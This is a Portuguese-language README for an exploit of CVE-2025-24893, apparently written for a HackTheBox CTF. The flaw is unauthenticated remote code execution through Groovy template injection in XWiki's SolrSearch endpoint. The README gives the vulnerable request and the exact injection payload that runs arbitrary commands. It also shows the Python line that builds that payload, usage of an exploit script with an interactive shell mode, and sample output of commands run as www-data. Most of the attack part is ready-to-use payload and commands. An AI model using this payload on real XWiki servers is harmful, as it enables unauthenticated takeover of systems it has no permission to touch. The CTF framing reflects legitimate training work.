
CVE-2025-24893 – exploit de RCE não autenticado via SSTI no XWiki (HackTheBox CTF)
| Campo | Detalhes |
|---|
| CVE | CVE-2025-24893 |
| Software | XWiki |
| Vulnerabilidade | Injeção de Template no Servidor (SSTI) → RCE |
| Autenticação | Não exigida |
| Pontuação CVSS | Crítico |
| Contexto | Descoberto durante o CTF do HackTheBox |
O XWiki expõe um endpoint SolrSearch (/xwiki/bin/get/Main/SolrSearch) que renderiza a entrada fornecida pelo usuário através do motor de templates Groovy sem sanitização. Um atacante não autenticado pode injetar uma expressão Groovy através do parâmetro de consulta text, alcançando Execução Remota de Código no servidor subjacente.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
O parâmetro text é inserido diretamente em um contexto de macro do XWiki e avaliado pelo motor Groovy. A injeção escapa do contexto do template usando }}} e abre um bloco {{async}}{{groovy}}:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
A saída é refletida no corpo da resposta RSS e pode ser extraída via regex.
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
A resposta é XML/RSS — a saída do comando aparece entre os marcadores [}}} e ]</ com caracteres codificados em HTML.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
| Bandeira | Descrição |
|---|---|
-t | Hostname ou IP alvo |
-p | Porta (padrão: 80) |
-s | Usar HTTPS |
-i | Modo shell interativo |
-c | Execução de comando único |
-v | Saída detalhada |
# Comando único
python3 exploit.py -t wiki.target.htb -c "id"
# Shell interativo
python3 exploit.py -t wiki.target.htb -i
# HTTPS em porta personalizada
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)